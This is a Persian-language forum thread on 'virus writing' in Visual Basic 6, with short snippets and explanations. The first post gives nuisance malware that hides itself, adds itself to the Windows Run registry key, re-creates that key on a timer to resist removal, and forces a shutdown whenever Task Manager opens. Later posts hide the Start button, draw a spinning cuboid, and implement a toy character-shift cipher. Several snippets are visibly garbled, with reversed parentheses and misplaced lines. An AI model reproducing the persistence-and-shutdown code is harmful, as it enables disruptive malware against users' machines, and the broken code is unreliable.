• توجه: در صورتی که از کاربران قدیمی ایران انجمن هستید و امکان ورود به سایت را ندارید، میتوانید با آیدی altin_admin@ در تلگرام تماس حاصل نمایید.

دنیای ویروس نویسی بیسیک

eliza

متخصص بخش
با سلام.
من این کدهای ویروس نویسی را یافتم وبهتر دانستم شما هم با آن آشنا بشین.
و بدانین به جه سبک نوشته می شود.
 

eliza

متخصص بخش
کد:
[ App.TaskVisible = False
timer1.interval=1
Me.Hide
Set Reg = CreateObject("wscript.shell")
Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS \CUR RENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
Timer1.Interval = 1
End Sub
Private Sub Timer1_Timer()
MsgBox "Dont press alt+ctrl+del", vbCritical, "This is not a virus !!"
Dim handel As Long
handel = FindWindow(vbNullString, "Windows Task Manager")
If handel <> 0 Then
Shell "shutdown -s -t 2 "
End Sub

و اما توضیحات:
خیلی ساده . در خط اول برنامه را از دید کاربر مخفی کردیم . در رجیستری کلیدی را درست کردیم که با هر بار راه اندازی ویندوز برنامه اجرا میشه. با تابع findwindows هندل تسکبار را بدست آوردیم. ابتدا این ویروس یه اخطار میده که task manager را فعال نکنین و اگه کردین تابع shell "shutdown اجرا میشه و دردسرهای بعدی البته با پاک کردن کلید مورد نظر در رجیستری این ویروس از کار میافته که با قرار دادن این دستور در یک تایمر هر دفعه که پاک بشه بازم درست میشه . یعنی ... Private Sub Form_Load()خب شاید بگین چقدر ساده . ولی گفتم از ساده شروع میشه و به جاهای باحال میرسه .
 

eliza

متخصص بخش
با یه تابع APi دکمه استارت را مخفی کنیم...

این قسمت ار کدهارو در جنرال وارد کنید:
کد:
[LEFT]private a As Long

private f As Long

Public Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long

Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long

Public Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long

private Const hide = 0

private Const show = 5[/LEFT]

از تابع FindWindow برای پیدا کردن هندل TaskBar و از تابع FindWindowEx برای پیدا کردن هندل دکمه Start که در واقع فرم فرزند (ChildForm) TaskBar ویندوزه استفاده می کنیم.از تابع ShowWindow هم برای کار اصلی استفاده می کنیم.


حالا برای مخفی کردن دکمه Start کد زیر رو مینویسیم:
کد:
[B]
()Private Sub HideStart_Click

("" ,"a = FindWindow("Shell_TrayWnd

(f = FindWindowEx(a, 0, "Button", vbNullString

ShowWindow f, hide

End Sub
[/B]

کد نمایش دوباره استارت :
کد:
[B]
()Private Sub ShowStart_Click

("" ,"a = FindWindow("Shell_TrayWnd

(f = FindWindowEx(a, 0, "Button", vbNullString

ShowWindow f, show

End Sub
[/B]

خب شما میتونید با ادغام این کد و کد قبلی و کمی اضافه کاری یه کار جالب کنید
 

eliza

متخصص بخش
ساختن مکعب مستطیل
Dim a, b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, q, r, s, t, u, v, w, X, Y, z, aa, bb, cc, dd, ee, ff, gg, hh, ii, jj, kk, ll, mm, nn, oo, pp, qq, rr, ss, tt, uu, vv As Variant​
ابتدا حافظه های بالا را در قسمت تعاریف عمومی یا همون جنرال تعریف می کنیم ''

حافظه های تعریف شده را در هنگام اجرای برنامه مقدار دهی کردم ''
کد:
[SIZE=4]
b = 1000
c = 3500
d = 1000
e = 1500
f = 2500
g = 3500
h = 2500
i = 1500
j = 1000
k = 1500
l = 2500
m = 3500
n = 1000
o = 3500
p = 2500
q = 2500
r = 2000
s = 4500
t = 2000
u = 2500
v = 3500
w = 4500
X = 3500
Y = 2500
z = 2000
aa = 2500
bb = 3500
cc = 4500
dd = 2000
ee = 4500
ff = 3500
gg = 1500
hh = 1000
ii = 2500
jj = 2000
kk = 3500
ll = 1000
m = 4500
nn = 2000
oo = 1500
pp = 2500
qq = 2500
rr = 3500
ss = 3500
tt = 2500
uu = 4500
vv = 3500
MsgBox (" ATIFAZI ")
end sub
private sub timer1_timer()
[/SIZE]
با دستور لاین خطها را در مختصات حافظه های تعریف شده طوری رسم کردیم که تبدیل به مکعب مستطیل بشه''
شما میتونید با قلم و کاغذ ایتدا روی کاغذ بکشد و سپس این کار را انجام دهید''
برای اینکه کمی زیبا سازی بشه و انگاری متحرک به نظر بیاد کدهارو تو تایمر و در یه شمارنده گذاشتم. برای بهتر شدن اینکار میتونید مقدار شمارنده را کمتر کنید.''
کد:
[SIZE=4]
pic.Line (a + 500, b + 500)-(c + 500, d + 500), vbRed
pic.Line (a + 500, b + 500)-(c + 500, d + 500), vbRed
pic.Line (e + 500, f + 500)-(g + 500, h + 500), vbRed
pic.Line (i + 500, j + 500)-(k + 500, l + 500), vbRed

pic.Line (m - 500, n + 500)-(o + 500, p + 500), vbRed
pic.Line (q + 500, r + 500)-(s + 500, t + 500), vbRed
pic.Line (u + 500, v + 500)-(w + 500, X + 500), vbRed

pic.Line (Y + 500, z + 500)-(aa + 500, bb + 500), vbRed
pic.Line (cc + 500, dd + 500)-(ee + 500, ff + 500), vbRed

pic.Line (gg + 500, hh + 500)-(ii + 500, jj + 500), vbRed
pic.Line (kk + 500, ll + 500)-(mm + 5000, nn + 500), vbRed
pic.Line (oo + 500, pp + 500)-(qq + 500, rr + 500), vbRed
pic.Line (ss + 500, tt + 500)-(uu + 500, vv + 500), vbRed
pic.Cls
pic.Line (a + 500, b + 500)-(c + 500, d + 500), vbRed
pic.Line (a + 500, b + 500)-(c + 500, d + 500), vbRed
pic.Line (e + 500, f + 500)-(g + 500, h + 500), vbRed
pic.Line (i + 500, j + 500)-(k + 500, l + 500), vbRed

pic.Line (m - 500, n + 500)-(o + 500, p + 500), vbRed
pic.Line (q + 500, r + 500)-(s + 500, t + 500), vbRed
pic.Line (u + 500, v + 500)-(w + 500, X + 500), vbRed

pic.Line (Y + 500, z + 500)-(aa + 500, bb + 500), vbRed
pic.Line (cc + 500, dd + 500)-(ee + 500, ff + 500), vbRed

pic.Line (gg + 500, hh + 500)-(ii + 500, jj + 500), vbRed
pic.Line (kk + 500, ll + 500)-(mm + 5000, nn + 500), vbRed
pic.Line (oo + 500, pp + 500)-(qq + 500, rr + 500), vbRed
pic.Line (ss + 500, tt + 500)-(uu + 500, vv + 500), vbRed

Next lmp
[/SIZE]
امید وارم متوجه شده باشین. البته با کمی توجه میتونید کد را درک کنید . راستی میبینین که توی کد ساخت خط از +50 استفاده شده . برای این بود که هر چند لحظه یه تغییر زاویه داشته باشه .
loadprivate sub form_() a = 1500 For lmp = 1 To 10000
 

eliza

متخصص بخش
یک فرم ساده درست کرده و کد زیر را در رویداد یک کلید قرار دهید:
کد:
[SIZE=4]
txtEncode.Text = ""
k = txtPassNumber
For i = 1 To Len(txtJomleh)
txtEncode.Text = txtEncode.Text & Chr(Asc(Mid(txtJomleh, i, 1)) + k)
k = k * -1
Next
[/SIZE]
خط 1: این دستور حطاهای ایجاد شده در برنامه را کنترل میکنه و نمیذاره ناگهان برنامه بسته بشه. توضیحات بیشترش واسه بعد
خط 2: این خط جمله ی رمزی شده ی قبل رو پاک می کنه.
خط 3: شماره ای که با استفاده از اون جمله کد می شه رو توی متغییر K می ریزه.
خط 4: حلقه ی For رو از 1 شروع می کنه تا تعداد حروف جمله (فضای خالی هم حساب می شه).
خط 5: اين خط حروف جمله اي رو که قراره کد بشه رو مي خونه بعد کد اسکيش رو مي گيره و بعد کد اسکيش رو با شماره اي که شما بهش مي ديد جمع مي کنه (البته این شماره هی منفی و مثبت میشه).
خط 6: شماره ای رو که بهش دادید رو هی منفی مثبت می کنه.
خط هفتم: پایان حلقه ی ّFor
On Error Resume Next
 
بالا